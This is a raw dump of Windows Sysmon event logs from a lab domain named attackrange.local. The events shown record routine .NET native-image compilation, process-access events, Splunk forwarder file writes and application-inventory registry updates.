10341000x800000000000000045085Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:13.926{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F79-613B-1F0A-00000000F001}2992C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000045084Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:13.852{7BD73061-6F78-613B-1C0A-00000000F001}7112NT AUTHORITY\SYSTEMC:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exeC:\Windows\assembly\temp\XOVE6FSKFT\Microsoft.VisualBasic.Compatibility.ni.dll.auxMD5=CCAAA14AD02E3D9F29071F59E0CB715E,SHA256=7886B94761B89D3B09289DF379B11EEF3B8DBCA3B4AED4458495B88406A4BF06,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045083Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:13.850{7BD73061-6F78-613B-1C0A-00000000F001}7112NT AUTHORITY\SYSTEMC:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exeC:\Windows\assembly\temp\XOVE6FSKFT\Microsoft.VisualBasic.Compatibility.ni.dllMD5=392C82CEC09C679B1FE50C0054850FD4,SHA256=6F980A01DFFE562FE5D367AFBB7C3088002A3C324F8BDE2BE606F2A90299C30A,IMPHASH=00000000000000000000000000000000truetrue 11241100x800000000000000045082Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:45:13.790{7BD73061-6F78-613B-1C0A-00000000F001}7112C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exeC:\Windows\assembly\NativeImages_v4.0.30319_64\Temp\1bc8-0\Microsoft.VisualBasic.Compatibility.dll2021-09-10 14:45:13.789 23542300x800000000000000045081Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:13.266{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7C98C556546A822DF0A8C8EC9F6202AC,SHA256=D323EA3379023AA20AB4C6989AF2B6436571B23C5AA27DC1BFDBBC01C5ECAEFE,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045080Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:13.190{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000045079Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:13.029{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=6E25704444F95E88DFC010F9DF0C51E4,SHA256=C23E438E37F26D98F67B06ED0EA3057114D62904A08713A5D7D677A99BB6DABD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013995Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:14.873{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E52167B43FDF58DEBBC66B8DDD993D44,SHA256=A62DB15001542AB0523E840896E23D5F0A9DEB3E9FB07E65D6DC38F90EDAB16A,IMPHASH=00000000000000000000000000000000falsetrue 11241100x800000000000000045155Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:45:14.977{7BD73061-6F7A-613B-250A-00000000F001}5968C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exeC:\Windows\assembly\NativeImages_v4.0.30319_64\Temp\1750-0\Microsoft.VisualStudio.Tools.Applications.Runtime.dll2021-09-10 14:45:14.977 10341000x800000000000000045154Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:14.927{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F7A-613B-250A-00000000F001}5968C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000045153Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:14.927{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=F3737316B61E26099DF7AAA9417C47C1,SHA256=C691342F87A64F9E63E316C206929BA3EAA86A0827D84A7D11BC2C85C9AA5BAC,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045152Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:14.917{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F7A-613B-250A-00000000F001}5968C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045151Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:14.917{7BD73061-6F29-613B-3508-00000000F001}7032912C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F7A-613B-250A-00000000F001}5968C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+b591|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+b518|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9e05|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045150Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:14.887{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F7A-613B-240A-00000000F001}2596C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045149Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:14.877{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F7A-613B-240A-00000000F001}2596C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045148Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:14.877{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F7A-613B-240A-00000000F001}2596C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 11241100x800000000000000045147Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:45:14.848{7BD73061-6F7A-613B-230A-00000000F001}6156C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exeC:\Windows\assembly\NativeImages_v4.0.30319_64\Temp\180c-0\Microsoft.VisualStudio.Tools.Applications.Hosting.dll2021-09-10 14:45:14.847 10341000x800000000000000045146Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:14.607{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F7A-613B-230A-00000000F001}6156C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045145Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:14.597{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F7A-613B-230A-00000000F001}6156C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045144Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:14.597{7BD73061-6F29-613B-3508-00000000F001}7032912C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F7A-613B-230A-00000000F001}6156C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+b591|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+b518|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9e05|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045143Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:14.557{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F7A-613B-220A-00000000F001}5160C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045142Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:14.556{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F7A-613B-220A-00000000F001}5160C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045141Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:14.556{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F7A-613B-220A-00000000F001}5160C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045140Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:14.527{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F7A-613B-210A-00000000F001}2928C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045139Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:14.517{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F7A-613B-210A-00000000F001}2928C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045138Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:14.517{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F7A-613B-210A-00000000F001}2928C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000045137Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:14.467{7BD73061-6F7A-613B-200A-00000000F001}5240NT AUTHORITY\SYSTEMC:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exeC:\Windows\assembly\temp\4LDA63AV4D\Microsoft.VisualBasic.Compatibility.Data.ni.dll.auxMD5=0C2C5C0CC03B88B1D314D6F1D19D9C3C,SHA256=979D6986FBE92A3C905412D2A0F1F5E91584D6AFE021B6D802F88809D192078F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045136Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:14.467{7BD73061-6F7A-613B-200A-00000000F001}5240NT AUTHORITY\SYSTEMC:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exeC:\Windows\assembly\temp\4LDA63AV4D\Microsoft.VisualBasic.Compatibility.Data.ni.dllMD5=D75FEE5CA5432314DDF6330796F825DB,SHA256=34745D8DDA2AAB375A8B26F9B18AD7408C85A126067717896983B12B8D6BA8AD,IMPHASH=00000000000000000000000000000000truetrue 11241100x800000000000000045135Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:45:14.450{7BD73061-6F7A-613B-200A-00000000F001}5240C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exeC:\Windows\assembly\NativeImages_v4.0.30319_64\Temp\1478-0\Microsoft.VisualBasic.Compatibility.Data.dll2021-09-10 14:45:14.449 23542300x800000000000000045134Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:14.397{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FF8A0C216A384F658952452F13B71E58,SHA256=B63674527B63DD02581DF9782EC2F57C912A62B14212DACF2601EBDB2D53A78C,IMPHASH=00000000000000000000000000000000falsetrue 13241300x800000000000000045133Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:45:14.354{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1caca361-37d2-8331-26a7-3e6d07895ec9}\Root\InventoryApplicationFile\onedrivesetup.ex|13fa51f7fa101eb7\BinProductVersion18.151.729.13 13241300x800000000000000045132Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:45:14.354{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1caca361-37d2-8331-26a7-3e6d07895ec9}\Root\InventoryApplicationFile\onedrivesetup.ex|13fa51f7fa101eb7\LinkDate09/17/2018 17:44:14 13241300x800000000000000045131Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:45:14.354{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1caca361-37d2-8331-26a7-3e6d07895ec9}\Root\InventoryApplicationFile\onedrivesetup.ex|13fa51f7fa101eb7\Publishermicrosoft corporation 13241300x800000000000000045130Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:45:14.354{7BD73061-6F78-613B-1D0A-00000000F001}6436C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1caca361-37d2-8331-26a7-3e6d07895ec9}\Root\InventoryApplicationFile\onedrivesetup.ex|13fa51f7fa101eb7\LowerCaseLongPathc:\program files\microsoft office\root\integration\addons\onedrivesetup.exe 13241300x800000000000000045129Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 